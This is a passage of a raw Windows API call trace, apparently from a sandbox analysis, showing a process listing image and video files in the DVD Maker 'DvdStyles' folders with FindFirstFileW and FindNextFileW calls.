ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0240.886] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6360a8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6360a8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0240.886] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0240.886] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0240.887] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f52b71d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f52b71d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x17719, dwReserved0=0x0, dwReserved1=0x0, cFileName="scenesscroll.png", cAlternateFileName="")) returned 1 [0240.887] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5055c0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5055c0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialmainsubpicture.png", cAlternateFileName="")) returned 1 [0240.887] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0240.887] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0240.887] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0240.888] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0240.891] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f55187a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f55187a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1302, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0240.891] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5779d7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5779d7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0240.891] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3fac35, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3fac35, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialoccasion.png", cAlternateFileName="")) returned 1 [0240.891] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4b9306, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4b9306, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1917, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemask1047.png", cAlternateFileName="")) returned 1 [0240.891] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 1 [0240.892] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 0 [0240.892] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0240.894] GetProcessHeap () returned 0x560000 [0240.894] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0240.894] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0240.895] GetProcessHeap () returned 0x560000 [0240.895] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0240.895] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0241.035] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.035] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ead378, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ead378, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CircleSubpicture.png", cAlternateFileName="")) returned 1 [0241.035] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ed34d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ed34d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x120d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoldRing.png", cAlternateFileName="")) returned 1 [0241.035] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71338a7f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71338a7f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0241.035] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationButtonSubpicture.png", cAlternateFileName="")) returned 1 [0241.035] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0241.036] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0241.036] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0241.036] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f458ec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f458ec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha1.png", cAlternateFileName="")) returned 1 [0241.036] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f6ba49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f6ba49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha2.png", cAlternateFileName="")) returned 1 [0241.037] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e8721b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71e8721b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonSubpicture.png", cAlternateFileName="")) returned 1 [0241.037] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71893b93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71893b93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x500e57b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x539540, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainBackground.wmv", cAlternateFileName="")) returned 1 [0241.037] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71aa8ea9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71aa8ea9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x502ae81f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x57bbc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0241.037] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c25c4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71c25c4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50320c39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1beae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0241.037] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71cbe1bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71cbe1bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50393053, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a26, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0241.038] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d7c890, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71d7c890, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x504c3b43, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x184166, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0241.038] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71deeca7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71deeca7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50add351, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x189f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0241.038] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x713aae96, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x713aae96, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x514fb049, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6680f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsNotesBackground.wmv", cAlternateFileName="")) returned 1 [0241.038] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71501adb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71501adb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5206f98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x673c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0241.038] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716a49da, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x716a49da, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x522f70cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca474, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsScenesBackground.wmv", cAlternateFileName="")) returned 1 [0241.039] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71789208, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71789208, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x524e6293, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e59f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0241.039] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 1 [0241.039] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 0 [0241.039] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0241.042] GetProcessHeap () returned 0x560000 [0241.042] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0241.042] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stacking", cAlternateFileName="")) returned 1 [0241.042] GetProcessHeap () returned 0x560000 [0241.042] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0241.042] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0241.264] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.265] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, 